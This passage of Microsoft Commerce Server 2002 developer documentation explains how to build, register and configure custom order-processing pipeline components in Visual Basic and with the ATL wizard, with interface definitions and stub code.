RequiredOrderAdjustCy, RequiredOrderAdjustPrice, RequiredOrderAdjustPriceCy

RequiredOrderCheck, RequiredOrderInit, RequiredOrderInitCy

RequiredOrderSubTotal, RequiredOrderSubTotalCy, RequiredPayment

RequiredProdInfo, RequiredShipping, RequiredShippingCy

RequiredTax, RequiredTaxCy, RequiredTotal

RequiredTotalCy

S-Z

SQLItemADO, SaveCSFHistory, ScoreDiscounts

Scriptor, SelectWinners, SendPrecomposedMessage

TableHandlingADO, TableShippingADO, ThrottleDMLPerformance

ValidateCCNumber, VerifyMessageBody, VerifyRecipientData


Building Pipeline Components

The Microsoft Commerce Server 2002 pipeline is a software infrastructure that executes a sequence of components. Each component is a custom-tailored Component Object Model (COM) object designed to perform operations on some part of an OrderForm or Dictionary. The pipeline coordinates the interaction of pipeline components by passing the OrderForm or Dictionary object from one component to another.

You can use pipelines to model many linear processes. The two main processes modeled in Commerce Server are order processing, which is handled by the Order Processing pipelines (OPP), and content selection, which is handled by the Content Selection Framework (CSF) pipelines. The OPP automates order processing in a business-to-consumer scenario. The CSF pipelines automate the selection of advertisements and discounts.

Commerce Server includes a set of components that can be combined into a pipeline to support either architecture. In addition, you can create your own components to extend the capabilities of the pipeline architecture, as described in this section.

This section contains:

  • About Pipeline Components. Describes the basic structure of pipeline components and introduces the OrderForm and Dictionary objects on which pipeline components operate.
  • Creating Pipeline Components Using Visual Basic. Explains how to create and build a pipeline component using the Visual Basic Pipeline Component Wizard, as well as how to customize your components using Microsoft Visual Basic.
  • Creating Pipeline Components Using the Active Template Library (ATL). Explains how to create, build, and register a pipeline component using the ATL Pipeline Component Wizard, as well as how to customize your components using C++.
  • Error Levels. Describes the error values returned by pipeline components.
  • MinMaxShip Sample Pipeline Component. Describes the design of the MinMaxShip sample pipeline component and explains how to implement it in Commerce Server pipelines.

Notes

  • Commerce Server includes wizards for creating pipeline components using Microsoft Visual Basic and Microsoft Visual C++. For the most current sample code for the components, see the ATL Pipeline Component Wizard, the Visual Basic Pipeline Component Wizard, and the complete sample code in the Programmer's Reference.
  • You must have Visual C++ version 6.0 or Visual Basic version 6.0 or higher installed on your computer in order to use the ATL Pipeline Component Wizard.

See Also

Programmer's Reference

Working with Pipelines

Order Processing Pipelines

OrderForm Object

Dictionary Object


About Pipeline Components

A pipeline component is a Component Object Model (COM) server object that implements the IPipelineComponent interface. The following is the definition of this interface as it appears in the Pipecomp.idl file:

    interface IPipelineComponent : IUnknown
    {
        import "oaidl.idl";

        HRESULT Execute(
                    [in]            IDispatch*  pdispOrder,
                    [in]            IDispatch*  pdispContext,
                    [in]            LONG        lFlags,
                    [out,retval]    LONG*       plErrorLevel
                );

        //
        // By default, a pipeline is in "execution mode", this call is
        // used to prepare the pipeline for "design mode" (fEnable ==
        //  TRUE) or to go to design mode (fEnable = FALSE).
        //

        HRESULT EnableDesign( [in]    BOOL fEnable );

    };

When the pipeline creates an instance of a component, it requests an interface pointer to the IPipelineComponent implementation of the component, then uses this pointer to invoke the IPipelineComponent::Execute method.

IPipelineComponent is the only interface that a component must implement to function within the pipeline. However, to enhance the usability of a component, or to take advantage of the transaction capabilities of COM+, you may also design your component to implement one or more of the following interfaces:

  • IDispatch. Implementing this interface is optional. However, it makes it possible for clients to access the capabilities of your component from macro languages, such as Visual Basic Scripting Edition (VBScript) or Visual Basic.
  • IPipelineComponentAdmin. This interface is a component configuration interface. If your component requires configuration at design time, then you should implement this interface. The IPipelineComponentAdmin interface defines the GetConfigData and SetConfigData methods, to which the caller passes a Dictionary object. The GetConfigData and SetConfigData methods write or read this Dictionary object to retrieve or set configuration data on the component.
  • IPipelineComponentDescription. When you implement this interface, you identify to the Pipeline Editor the keys and values in the OrderForm object that your component reads and writes, as well as the pipeline context values that your component uses. The Pipeline Editor displays these keys when the user selects the Values Read and Written tab for the component.
  • IPersistStreamInit. This interface allows components written in C++ to save data to the configuration file. Visual Basic components cannot implement this interface. For Visual Basic components, the IPipelineComponentAdmin interface is used to get and save data to and from the configuration file.
  • ISpecifyPropertyPages. This interface allows your component to specify property pages for use in the Pipeline Editor.

See Also

IPipelineComponent Interface

IPipelineComponent::Execute

IPipelineComponentAdmin Interface

IPipelineComponentDescription Interface

IPersistStreamInit Interface

ISpecifyPropertyPages Interface

IPipelineComponentAdmin::GetConfigData

IPipelineComponentAdmin::SetConfigData


Creating Pipeline Components Using Visual Basic

By creating your own components you can customize the pipeline your customers use. If your business requires these custom components, you can create them using the Visual Basic Pipeline Component Wizard and Microsoft Visual Basic version 6.0 or higher, and register them using the Pipeline Component Registration Tool.

You can write pipeline components in Visual Basic. However, Visual Basic components will, in general, be slower than the same component written in Microsoft Visual C++. For more information about additional limitations to components written in Visual Basic, see Special Considerations for Visual Basic Pipeline Components.

This section contains:

  • Using the Visual Basic Pipeline Component Wizard
  • Implementing the IPipelineComponent Interface
  • Persisting Data
  • Using the Pipeline Component Registration Tool
  • Special Considerations for Visual Basic Pipeline Components


Using the Visual Basic Pipeline Component Wizard

The Visual Basic Pipeline Component Wizard gives site developers point-and-click access to creating a framework code base for creating pipeline components. This wizard is provided as a new project item in the Visual Basic projects menu, and generates code based on responses provided by the user to a series of questions. Previous knowledge of the Visual Basic language is required to complete this wizard.

This section contains:

  • Installing the Visual Basic Pipeline Component Wizard
  • Running the Visual Basic Pipeline Component Wizard

See Also

Implementing the IPipelineComponent Interface

Persisting Data

Using the Pipeline Component Registration Tool

Special Considerations for Visual Basic Pipeline Components


Installing the Visual Basic Pipeline Component Wizard

Registering the PipelineCompWizard.dll causes a new project item to be installed in Visual Basic.

To register the PipelineCompWizard.DLL

  1. Click Start, and then click Run.
  2. In the Run dialog box, type regsvr32 followed by the path to the Visual Basic Pipeline Component Wizard. For example, type regsvr32 "C:\Program Files\Microsoft Commerce Server\SDK\Tools\VB Pipe Wizard\PipelineCompWizard.dll", and then click OK.

The RegSvr32 dialog box appears indicating success in registering the PipelineCompWizard.dll.

See Also

Running the Visual Basic Pipeline Component Wizard


Running the Visual Basic Pipeline Component Wizard

The Visual Basic Pipeline Component Wizard enables you to create a framework from which you can build custom pipeline components. The Visual Basic Pipeline Component Wizard configures the pipeline component to the specifications set while running the wizard.

To run the Visual Basic Pipeline Component Wizard

To register the DLL components

To run the Visual Basic Pipeline Component Wizard

  1. Click Start, point to Programs, and then click Microsoft Visual Basic 6.0.

    Or, if you have Microsoft Visual Studio 6.0 installed, point to Microsoft Visual Studio 6.0, and then click Microsoft Visual Basic 6.0.

  2. To open the wizard, on the File menu, click New Project.
  3. In the New Project dialog box, double-click Pipeline Component Wizard.

    The Pipeline Component Wizard - Introduction (Step 1 of 7) dialog box appears.

  4. Click Next to begin using the wizard.
  5. In the Pipeline Component Wizard - Transaction Support (Step 2 of 7) dialog box, click Yes to support transacted pipelines or click No if you want to use non-transacted pipelines, and then click Next.
  6. In the Pipeline Component Wizard - Shipping Support (Step 3 of 7) dialog box, click Yes to support the new multiple-shipping architecture used in Microsoft Commerce Server 2002 or click No if you want to create a component that does not process shipments. (If you are creating a Shipping or Tax component, click Yes.) Click Next.
  7. In the Pipeline Component Wizard - Component Properties (Step 4 of 7) dialog box, click Add.
  8. In the Add Property dialog box, in the Property name box, type the name of the property you want to add.
  9. In the Data type box, select the data type for the property from the drop-down list, and then click OK.

    The property you added appears in the Properties box in the Pipeline Component Wizard - Component Properties (Step 4 of 7) dialog box.

  10. If you want to remove any unwanted properties, in the Properties box, select the property you want to remove, and then click Remove. To add additional properties complete steps 7, 8, and 9 for each additional property.
  11. Click Next.
  12. In the Pipeline Component Wizard - Project, Class, and Form Names (Step 5 of 7) dialog box, do the following:
    Use this | To do this
    Project Name (*.vbp) | Type a name for the project or leave the default value.
    Pipeline Component Class (*.cls) | Type a component class name for the project or leave the default value.
    Pipeline Component UI Class (*.cls) | Type a component UI class name or leave the default value.
    Pipeline Component UI Form (*.frm) | Type a component UI form name or leave the default value.

    These values will be the names for the project, the form, and the classes created by the wizard.

  13. Click Next.
  14. In the Pipeline Component Wizard - Select Directory (Step 6 of 7) dialog box, select the location for storing the files the wizard will generate.
  15. In the Pipeline Component Wizard - Finished! (Step 7 of 7) dialog box, click Finish to build your component based on the information you provided in the wizard.

Three new component pages appear in the Visual Basic project window: the class module code corresponding to the Pipeline component, the class module corresponding to the Pipeline UI component, and a form corresponding to the Pipeline UI component. Before registering your component for stage affinity you must register the DLL components at the command line.

To register the DLL components

  1. Click Start, and then click Run.
  2. In the Run dialog box, type regsvr32 followed by the path to the pipeline component. For example, type regsvr32 "C:\Program Files\Microsoft Commerce Server\<project name>.dll", and then click OK.

    The RegSvr32 dialog box appears indicating success in registering the .dll file.

  3. Repeat Step 2 for the component UI. For example, type regsvr32, "C:\Program Files\Microsoft Commerce Server\<project name>UI.dll" and then click OK.

Your new component is now registered.

All custom components written in Visual Basic must be registered for stage affinity using the Pipeline Component Registration Tool. For more information about registering components, see Using the Pipeline Component Registration Tool.


Implementing the IPipelineComponent Interface

All pipeline components must implement the IPipelineComponent interface to function within the Pipeline Editor. If you have created your pipeline component using the Visual Basic Pipeline Component Wizard, your component supports this interface.

In a Microsoft ActiveX dynamic-link library (DLL), the pipeline component is a class in the DLL that implements one or more of the pipeline component interfaces. You add a reference to the type library defining the interfaces, add the appropriate implementation statements, and write the implementation code. This is done for you if you used the Visual Basic Pipeline Component Wizard.

For detailed instructions about implementing COM interfaces in Visual Basic, see "Creating and Implementing an Interface" and "Implementing and Using Standard Interfaces" in Visual Basic Help.

All pipeline component interfaces are described in a type library named Pipecomplib.tlb. If you look at the code created by the Visual Basic Pipeline Component Wizard in Running the Visual Basic Pipeline Component Wizard, you will see that the project includes a reference to this library.

The code for the class begins with the following lines:

Implements IPersistDictionary
Implements IPipelineComponent
Implements ISpecifyPipelineComponentUI
Implements IPipelineComponentDescription
Implements IPipelineComponentAdmin

This component implements four interfaces in addition to the IPipelineComponent interface. For more information about the other interfaces implemented by the Visual Basic Pipeline Component Wizard, see Pipeline Component Interfaces.

Further down in the code, you can see the code implementing the two methods of the IPipelineComponent interface, the EnableDesign method, and the Execute method.

The code for the EnableDesign method is:

Private Sub IPipelineComponent_EnableDesign(ByVal fEnable As Long)
End Sub

The EnableDesign method is used by the Pipeline Editor to tell the component when it is being used in design mode and when it is being executed. No changes need to be made to this code.

The Execute method contains most of the functionality of the component. It determines whether or not there was an error, and if the pipeline can continue to execute. The following outline of the Execute method is straightforward:

' Execute() -- This function gets called when the pipeline runs.
' Return 1 for success, 2 for user warnings, 3 for error.
Private Function IPipelineComponent_Execute(ByVal objOrderForm As Object, ByVal objContext As Object, ByVal 1Flags As Long) As Long

      ' Initialization of variables

      IPipelineComponent_Execute = 1

      ' The implementation of the component appears here.

End Function

Note

  • Although it might appear that the dictionaries are passed by value, that is not the case. What is passed by value is a reference to the dictionary — its address (not the contents of the dictionary). A reference passed by value is basically the same as the object passed by reference.

The Execute method is a function that returns a Long. It returns one of three values: 1 for success, 2 for user warnings, and 3 for an error that should stop execution of the pipeline.

For detailed instructions about implementing COM interfaces in Visual Basic, see "Creating and Implementing an Interface" and "Implementing and Using Standard Interfaces" in Visual Basic Help.

Using Commerce Server Objects

Pipeline components written in Visual Basic can use Commerce Server objects. The project for a component created using the Visual Basic Pipeline Component Wizard includes a reference to the Microsoft Commerce 2000 Core Components Type Library and creates variables of the CDictionary type and assigns the dictionaries passed to the Execute method to the variables:

 ' Initialize the PipeCtx dictionary as
 ' CDictionary variables
    Dim objPipeCtx As CDictionary
    Set objPipeCtx = objContext

Note

  • The dictionary has a type library name of CDictionary and a ProgID of Commerce.Dictionary.

For example, if your component includes a reference to the Microsoft Commerce 2000 Core Components Type Library, you can take advantage of early binding, and strongly type your variables in the declaration of the variables:

Dim dictLocalDictionary As Cdictionary
Set dictLocalDictionary = New CDictionary
dictLocalDictionary("Nickel") = ("what is nickel")

See Programmer's Reference for a complete list of objects in Commerce Server and for details about their use.

See Also

Pipeline Component Interfaces

Using the Visual Basic Pipeline Component Wizard

Persisting Data

Using the Pipeline Component Registration Tool

Special Considerations for Visual Basic Pipeline Components


Persisting Data

Visual Basic pipeline components can use the IPersistDictionary interface to implement persistence. The Pipeline Editor and pipelines themselves support this interface for loading and saving. The IPersistDictionary interface is used to persist data for a pipeline component. The Pipeline Editor uses the IPersistDictionary interface to get configuration values from the component and save them in the pipeline configuration file through the Save method.

Similarly, the pipeline passes a dictionary loaded with the previously saved values to the component. Because the Pipeline Editor handles the storage of the data, the component needs only to manipulate a dictionary.

The following table describes the methods of the IPersistDictionary interface.

Method | Description
GetProgID | Returns the ProgID of the component.
IsDirty | Returns a Boolean value of True if the values have changed since they were last saved.
InitNew | Called to initialize the object.
Load | Loads the Dictionary object with the saved values.
Save | Saves the values in the Dictionary object.

The InitNew method initializes the default values for a new instance of the object. In the code created by the Visual Basic Pipeline Component Wizard in Running the Visual Basic Pipeline Component Wizard, the method is called by the Pipeline Editor:

Private Sub IPersistDictionary_InitNew()
    FIsDirty = False
End Sub

The IsDirty method checks whether the values of an object have changed since they were last saved. It returns the value of the IsDirty flag of the object. The flag is cleared by the object in its implementation of the IPersistDictionary::Save method.

The GetProgID method must return the ProgID of the object. In the example, this is a constant that matches the ProgID under which the object is registered. By default, in an ActiveX DLL this is the project name followed by a period and the class name. For example:

Private Function IPersistDictionary_GetProgID() As String
    IPersistDictionary_GetProgID = "MyProject.ClassName"
End Function
Private Function IPersistDictionary_IsDirty() As Long
    IPersistDictionary_IsDirty = fIsDirty
End Function

The IPersistDictionary interface provides a convenient way for pipeline components housed in ActiveX DLLs to save configuration values. If a component is implemented as an ActiveX Control, the component can use the control property bag to save the configuration values.

Note

  • Although you can create your pipeline component as a Visual Basic ActiveX control and use the property page of the control as the configuration tab in the Pipeline Editor, this is not recommended.

See Also

IPersistDictionary Interface

Using the Visual Basic Pipeline Component Wizard

Implementing the IPipelineComponent Interface

Using the Pipeline Component Registration Tool

Special Considerations for Visual Basic Pipeline Components


Using the Pipeline Component Registration Tool

Microsoft Commerce Server 2002 includes the Pipeline Component Registration Tool for efficient registration of pipeline components written in Visual Basic. Typically, registration would be done using the DllRegisterServer entry-point routine, as is done in C++. However, because Visual Basic developers cannot export functions from their components, they usually have to find a way to register the components themselves, which can be a difficult task.

The Pipeline Component Registration Tool simplifies the registration process by registering pipeline components for stage affinity and then exporting the data to a Registry Script (.reg) file so it can be deployed on other servers.

To open the Pipeline Component Registration Tool

To register your pipeline component(s)

To open the Pipeline Component Registration Tool

  1. Click Start, and then click Run.
  2. In the Run dialog box, type the path to your local installation of the PipeReg.exe file. For example, C:\Program Files\Microsoft Commerce Server\SDK\Tools\Registration Tool, and then double-click PipeReg.

The Pipeline Component Registration Wizard appears. You can now begin registering your component(s).

To register your pipeline component(s)

  1. In the Pipeline Component Registration Wizard (Step 1 of 3) dialog box, do the following:
    Use this | To do this
    Select component by ProgID | Type the ProgID for the component you want to register in the ProgID box. This registers a single component.
    Select component Type Library | Type the path to the Type Library (.tlb or .dll) for the component(s) you want to register in the Path box. This registers some or all of the components in the indicated type library.
  2. Click Next.
  3. If you selected the option Select component by ProgID, in the Pipeline Component Registration Wizard (Step 2 of 3) dialog box, or, if you selected Select component Type Library and selected a type library with only a single component, do the following:
    Use this | To do this
    Available Categories | Select from the list of available pipeline stages in which you want to make your component available, and then click the right arrow button to move the pipeline stages to the Selected Categories box.
    Selected Categories | Select from the list of available pipeline stages that you do not want this component to appear in, and then click the left arrow button to remove those stages.
    Add Custom Stage | Click to add a custom stage for this component. In the Add Custom Stage dialog box, type the custom stage label in the Label box, type the GUID for the custom stage in the GUID box, and then click OK.

    Click Next.

  4. If you selected the option Select component Type Library and selected a type library with more than one component, in the Pipeline Component Registration Wizard [Select Components] dialog box select the components you would like to register, and then click Next.

    Return to Step 3 for each component you selected.

  5. In the Pipeline Component Wizard [Registration] dialog box, do one of the following:
    Use this | To do this
    Register components only | Click to update the Implemented Categories of the component for the corresponding registry hive. This option is best for the workstation of a site developer, where components and stages may change on a regular basis.
    Export registration data | Click to export the registry information to a registry script. In the Export path box, select the path to which you want the registry script exported.
    Register and export data | Click to register and export the registration data to a registry script. In the Export path box, select the path to which you want the registry script exported.

    Click Next.

  6. In the Pipeline Component Registration Wizard [Finished] dialog box, review the information to make sure the correct components were loaded and exported to the correct path.
  7. To close the Pipeline Component Registration Wizard, click Close.

The Pipeline Component Registration Wizard adds keys under the Implemented Categories entry in the registry to indicate that it is a pipeline component and to indicate which stages the component may appear in. The Implemented Categories entry can be found at \HKEY_CLASSES_ROOT\CLSID\component_classid\implemented categories\stage_clsid key within the Microsoft Windows NT Registry, where stage_class_id is the GUID of the stage with which the component will have an affinity, and component_class_id is the class ID of the component itself. See the file pipe_stages.h in the Microsoft Commerce Server Software Development Kit (SDK) for the GUID values for different pipeline stages.

See Also

Using the Visual Basic Pipeline Component Wizard

Implementing the IPipelineComponent Interface

Persisting Data

Special Considerations for Visual Basic Pipeline Components


Special Considerations for Visual Basic Pipeline Components

Visual Basic supports the creation of apartment-threaded components, but does not support the creation of free-threaded components. Consequently, if you use Visual Basic to create components for either the Order Processing pipeline (OPP) or Content Selection Framework (CSF) pipeline architectures, you should be aware of certain limitations.

If you include the component in a pipeline you load using the OrderPipeline object, and if you make this object globally available, your component will work as expected. This is because the OrderPipeline object checks the threading model of each component at load time to determine how to marshal the data of that component.

For performance reasons, however, the MtsOrderPipeline or MtsTxOrderPipeline objects do not perform this checking because these objects are generally created on a per-page basis. The MtsOrderPipeline or MtsTxOrderPipeline objects that you create on a per-page basis have no bearing on the proper functioning of Visual Basic pipeline components.

However, including such components in an MtsOrderPipeline or MtsTxOrderPipeline object that you make globally available (through the Application object, for example) is unsupported behavior. If you include a Visual Basic component in a globally available pipeline object instance, you must use the OrderPipeline object to load and execute that pipeline.

Always mark Visual Basic objects as Retain in Memory to keep the reference count above zero.

To mark Visual Basic objects as Retain in Memory

  1. In Visual Basic, on the Project menu, click <project name> Properties.
  2. On the General tab, select the Unattended Execution and Retained In Memory boxes.

See Also

Using the Visual Basic Pipeline Component Wizard

Implementing the IPipelineComponent Interface

Persisting Data

Using the Pipeline Component Registration Tool


Creating Pipeline Components Using the Active Template Library (ATL)

The ATL Pipeline Component Wizard consists of a group of files that you add to your Microsoft Visual C++ installation to automate the creation of Microsoft Commerce Server 2002 pipeline components. The ATL Pipeline Component Wizard creates the object definition and implementation files. These files contain the function prototypes for all of the interfaces that you need to implement to create a fully functional pipeline component. In addition, the ATL Pipeline Component Wizard creates a property page for your project, in which you add the controls through which users set component properties.

This section contains:

  • Active Template Library
  • Building the ATL Pipeline Component Wizard
  • Creating a Project
  • Adding an Object
  • Deciding Which Interface to Expose
  • Enhancing Component Usability
  • Implementing the IPipelineComponent Interface
  • Registering the ATL Component


Active Template Library

The Active Template Library (ATL) is a collection of C++ templates included in Microsoft Visual C++ versions 4.0 and later. This template library is intended specifically to facilitate the creation of Component Object Model (COM) objects.

Although you can create a pipeline component using any development environment that supports the creation of COM components, the use of the ATL is recommended because it creates small, fast code. COM components created using the ATL are smaller and faster than other approaches to component creation, including approaches supported by Visual C++. Although you can easily create COM components using the Microsoft Foundation Classes (MFC) library, you incur the significant memory overhead that is occasioned by using a large class library.

For information about the Active Template Library, see the ATL tutorial, which is included with Microsoft Visual C++.

See Also

Building the ATL Pipeline Component Wizard

Enhancing Component Usability

Registering the ATL Component

MinMaxShip Sample Pipeline Component


Building the ATL Pipeline Component Wizard

Before using the ATL Pipeline Component Wizard, you must build it by using the CommerceDLG.dll file on your local computer, and then copy specific files to the correct directories on your computer. This is because the ATL Pipeline Component Wizard functions within the Microsoft Visual C++ program.

To build the CommerceDLG.dll file

  1. Click Start, and then click Run.
  2. In the Run dialog box, type regsvr32 followed by the path to the Visual Basic Pipeline Component Wizard. For example, type regsvr32 "C:\Program Files\Microsoft Commerce Server\SDK\Tools\ATL Pipe Wizard\CommerceDLG.dll", and then click OK.

The RegSvr32 dialog box appears indicating success in building the CommerceDLG.dll file.

See Also

Creating a Project

Adding an Object

Deciding Which Interface to Expose

Enhancing Component Usability

Implementing the IPipelineComponent Interface

Registering the ATL Component

Active Template Library

MinMaxShip Sample Pipeline Component


Creating a Project

To create a custom component using the ATL Pipeline Component Wizard, you must first create an active project. To create a project in Visual C++ version 6.0, you use the ATL COM App Wizard.

To create a project in Visual C++

  1. Click Start, point to Programs, point to Microsoft Visual C++, and then click Visual C++.
  2. On the File menu, click New, and then select the Projects tab.
  3. On the Projects tab, select ATL COM App Wizard, and then do the following:
    Use this | To do this
    Project name | Type a name for the project.
    Location | Type the path to the location where the project will be saved.
    Create new workspace | Select to create a new skeleton project.
    Add to current workspace | Select to add on to an existing project.
    Platforms | Keep the default, which is WIN32.
  4. Click OK.
  5. In the ATL COM App Wizard - Step 1 of 1 dialog box, do the following:
    Use this | To do this
    Server Type Select one of the following:
    • Dynamic Link Library (DLL)
    • Executable (EXE)
    • Service (EXE)

    Note

    • If you are creating a modified ASP component, leave the Server Type as DLL because a control must be an in-process server.
    Allow merging of proxy/stub code | Specify that proxy/stub code be merged into your main project (available for DLL projects only). By default, the proxy/stub marshaling code is contained in a separate DLL.
    Support MFC | Specify that your object includes Microsoft Foundation Classes (MFC) support, and the MFC libraries will be attached to your code (available for DLL projects only).
    Support MTS | Specify the support for Microsoft Transaction Server (MTS) by adjusting the project build settings.
  6. Click Finish.

    The New Project Information dialog box appears, which lists the files that will be created for your project. These files and their descriptions are listed in the following table.

    File extension | Description
    .dsp | File that contains the project settings.
    .cpp File that contains the implementation of the following methods:
    • DllMain
    • DllCanUnloadNow
    • DllGetClassObject
    • DllRegisterServer
    • DllUnregisterServer

    This file also contains an object map, which is a list of the ATL objects in your project. This is initially blank, because you have not yet created an object.
    .idl | An interface definition language file, which describes the interfaces specific to your objects.
    .mk | A make file that can be used to build a proxy and stub DLL.
  7. Click OK.

    The project you created appears in the Visual C++ Workspace window.

  8. To save your workspace, from the File menu, click Save Workspace.

See Also

Adding an Object

Deciding Which Interface to Expose

Enhancing Component Usability

Implementing the IPipelineComponent Interface

Registering the ATL Component

Active Template Library

MinMaxShip Sample Pipeline Component


Adding an Object

After you create your project, you compile the files that Microsoft Visual C++ created for you into a dynamic-link library (DLL). To make this DLL useful, however, you must add support for an object that implements the appropriate pipeline interfaces.

When you use the ATL Pipeline Component Wizard to add an object to your project, the IPipelineComponent interface is implemented by default. In addition, you can choose to implement the ISpecifyPropertyPages, IPersistStreamInit, and IPipelineComponentDescription interfaces. For more information about which interfaces to implement, see Pipeline Component Interfaces.

Note

  • You must install the ATL Pipeline Component Wizard and create a project before starting the following procedure. For more information about installing the wizard, see ATL Pipe Wizard Folder. For more information about creating a project, see Creating a Project.

To add an object to your project

  1. In your project in Visual C++, on the Insert menu, click New ATL Object.
  2. In the ATL Object Wizard dialog box, do the following:
    Use this | To do this
    Category | Select Objects to add a new pipeline component.
    Objects | Select Commerce Component.
  3. Click Next.
  4. In the ATL Object Wizard Properties box, on the Names tab, do the following:
    Use this | To do this
    C++ Short Name | Type the name of your component.
    C++ Class | Type the class name to implement the control, or leave the default value.
    C++ .H File | Type the name of the .h file, or leave the default value.
    C++ .CPP File | Type the name of the .cpp file, or leave the default value.
    COM CoClass | Type the name of the component class for the object, or leave the default value.
    COM Interface | Type the name of the interface on which the component will implement its custom properties, or leave the default value.
    COM Type | Type the description for the control, or leave the default value.
    COM ProgID | Type the name of the ProgID, or leave the default value.

    Important

    • Do not click OK until you configure the Commerce Component tab.
  5. Click the Commerce Component tab. (This tab displays a list of the optional interfaces that you can implement on a Microsoft Commerce Server 2002 pipeline component.)
  6. In the ATL Object Wizard Properties dialog box, on the Commerce Component tab, do the following:
    Use this | To do this
    ISpecifyPropertyPages | Select whether your component uses property pages to allow users to set component properties.
    IPersistStreamInit | Select whether your component saves and loads its properties to and from a stream.
    IPipelineComponentDescription | Select whether you want your component users to identify the OrderForm object or pipe context values that your component reads and writes.
  7. Click OK.

The ATL Object Wizard creates the definition and implementation files that implement the necessary pipeline interfaces, and adds these files to the project.

In addition, the ATL Object Wizard creates a stub implementation for the object interface, on which you implement the properties for your component.

Note

  • The approach to adding properties described in this section assumes that you do not intend to implement the IPipelineComponentAdmin interface. However, Commerce Server defines this interface as an alternative way to implement properties on an object.

See Also

Deciding Which Interface to Expose

Enhancing Component Usability

Implementing the IPipelineComponent Interface

Registering the ATL Component

Active Template Library

MinMaxShip Sample Pipeline Component


Deciding Which Interface to Expose

Before a component can be configured using a macro language such as Microsoft Visual Basic Scripting Edition (VBScript), it must implement the IDispatch interface. Because any interface that you create can inherit from the IDispatch interface, you decide which of the interfaces that you implement will use the IDispatch interface to expose the properties and methods of your component.

Several options are available. When you add an object to your project, Microsoft Visual C++ adds an interface to the object definition that appears in the interface definition language (IDL) file for the project. By default, the interface that Visual C++ adds inherits from the IDispatch interface.

You can use this interface, or you can implement the IPipelineComponentAdmin interface. This interface is defined by Microsoft Commerce Server 2002 specifically to enable component writers to expose their component properties. The IPipelineComponentAdmin interface defines two methods: GetConfigData and SetConfigData. These methods take a Dictionary object as a parameter, and read or write to this Dictionary object to retrieve or set the values of the properties of the component.

The options described in the preceding paragraphs are mutually exclusive; you cannot implement two IDispatch interfaces on a single object and make both available to Active Server Pages (ASP) clients.

The following lists the advantages of using the Visual C++ user interface to get an IDispatch implementation:

  • Implementing IDispatch::Invoke is done automatically. If you add properties and methods using the Visual C++ user interface, this work is done for you.
  • As you add properties and methods to your object, Visual C++ automatically adds the appropriate entries to the project IDL, header, and implementation files. Because the added interface is the default interface for the object, a VBScript client that creates an instance of your object using the ProgID gets this interface, and can set the methods and invoke the properties implemented in it.

According to the rules for Component Object Models (COM), the advantage of implementing the IPipelineComponentAdmin interface is that after an interface is published, it cannot be changed. By adding properties to a published object, you necessarily modify the dispatched interface, running the risk that you will break the client code of existing users. Because implementing the IPipelineComponentAdmin interface does not require that your component definition be modified to add support for new properties, your component can evolve over time without requiring the publication of a new interface. The IPipelineComponentAdmin interface also allows for simple persistence, because the dictionary supports persistence. And the dictionary exposed through the IPipelineComponentAdmin interface supports enumeration of property names.

The IPipelineComponentAdmin interface is required if you are implementing a shipping component that requires configuration.

Important

  • Shipping Components should expose the IPipelineComponentAdmin::GetConfigData and IPipelineComponentAdmin::SetConfigData methods from the IDispatch interface implementation, because the Commerce Server Business Desk module(s) that manage these components must be able to call these methods from a late-bound (Active Server Pages) environment.

See Also

Pipeline Component Interfaces

Enhancing Component Usability

Implementing the IPipelineComponent Interface

Registering the ATL Component

Active Template Library

MinMaxShip Sample Pipeline Component


Enhancing Component Usability

To enhance the usability of your component, you may choose to implement the optional IPipelineComponentDescription interface. This interface defines methods that return SAFEARRAY variables that identify the pipe context elements that a component reads, as well as the OrderForm or Dictionary object elements that a component reads and writes.

When a user activates the property pages for your component through the Pipeline Editor, the Pipeline Editor checks to see if your component implements the IPipelineComponentDescription interface. If it does, the Pipeline Editor invokes your IPipelineComponentDescription method implementations and displays the values that the component reads and writes in a property page.

When you run the ATL Pipeline Component Wizard, the wizard adds a reference to the IPipelineComponentDescription interface to your derivation list, and adds the IPipelineComponentDescription interface signatures to the class definition. For example:

// IPipelineComponentDescription
    STDMETHOD (ContextValuesRead)(VARIANT *pVar);
    STDMETHOD (ValuesRead)(VARIANT *pVar);
    STDMETHOD (ValuesWritten)(VARIANT *pVar);

In addition, the ATL Pipeline Component Wizard adds stub implementations to implement files. The code the wizard adds is:

//
// IPipelineComponentDescription Methods
//
STDMETHODIMP CSampleComponent::ContextValuesRead(VARIANT *pVarRead)
{
    // TODO: Add your own values to the array.
    int cEntries = 1;
    // Allocate the SAFEARRAY of VARIANTs.
    SAFEARRAY*    psa = SafeArrayCreateVector(VT_VARIANT, 0, cEntries);
    // Populate the SAFEARRAY of VARIANTs.
    VARIANT* pvarT = (VARIANT*)psa->pvData;
    V_BSTR(pvarT) = SysAllocString(L"Example Context Value Read");
    V_VT(pvarT) = VT_BSTR;
    // Set up the return value to point to the SAFEARRAY.
    V_VT(pVarRead) = VT_ARRAY | VT_VARIANT;
    V_ARRAY(pVarRead) = psa;
    return S_OK;
}

STDMETHODIMP CSampleComponent::ValuesRead(VARIANT *pVarRead)
{
    // TODO: Add your own values to the array.
    int cEntries = 1;
    // Allocate the SAFEARRAY of VARIANTs.
    SAFEARRAY*    psa = SafeArrayCreateVector(VT_VARIANT, 0, cEntries);
    // Populate the SAFEARRAY of VARIANTs.
    VARIANT* pvarT = (VARIANT*)psa->pvData;
    V_BSTR(pvarT) = SysAllocString(L"Example Value Read");
    V_VT(pvarT) = VT_BSTR;
    // Set up the return value to point to the SAFEARRAY.
    V_VT(pVarRead) = VT_ARRAY | VT_VARIANT;
    V_ARRAY(pVarRead) = psa;

    return S_OK;
}

STDMETHODIMP CSampleComponent::ValuesWritten(VARIANT *pVarWritten)
{
    // TODO: Add your own values to the array.
    int cEntries = 1;
    // Allocate the SAFEARRAY of VARIANTs.
    SAFEARRAY*    psa = SafeArrayCreateVector(VT_VARIANT, 0, cEntries);
    // Populate the SAFEARRAY VARIANTs.
    VARIANT* pvarT = (VARIANT*)psa->pvData;
    V_BSTR(pvarT) = SysAllocString(L"Example Value Written");
    V_VT(pvarT) = VT_BSTR;
    // Set up the return value to point to the SAFEARRAY.
    V_VT(pVarWritten) = VT_ARRAY | VT_VARIANT;
    V_ARRAY(pVarWritten) = psa;
    return S_OK;
}

This code contains the basic instructions for implementing the interface.

Note

  • Each of the methods in the IPipelineComponentDescription interface must return an array. If there are no association values, the IPipelineComponentDescription interface should return an empty array.

See Also

Deciding Which Interface to Expose

Implementing the IPipelineComponent Interface

Registering the ATL Component

Active Template Library

MinMaxShip Sample Pipeline Component


Implementing the IPipelineComponent Interface

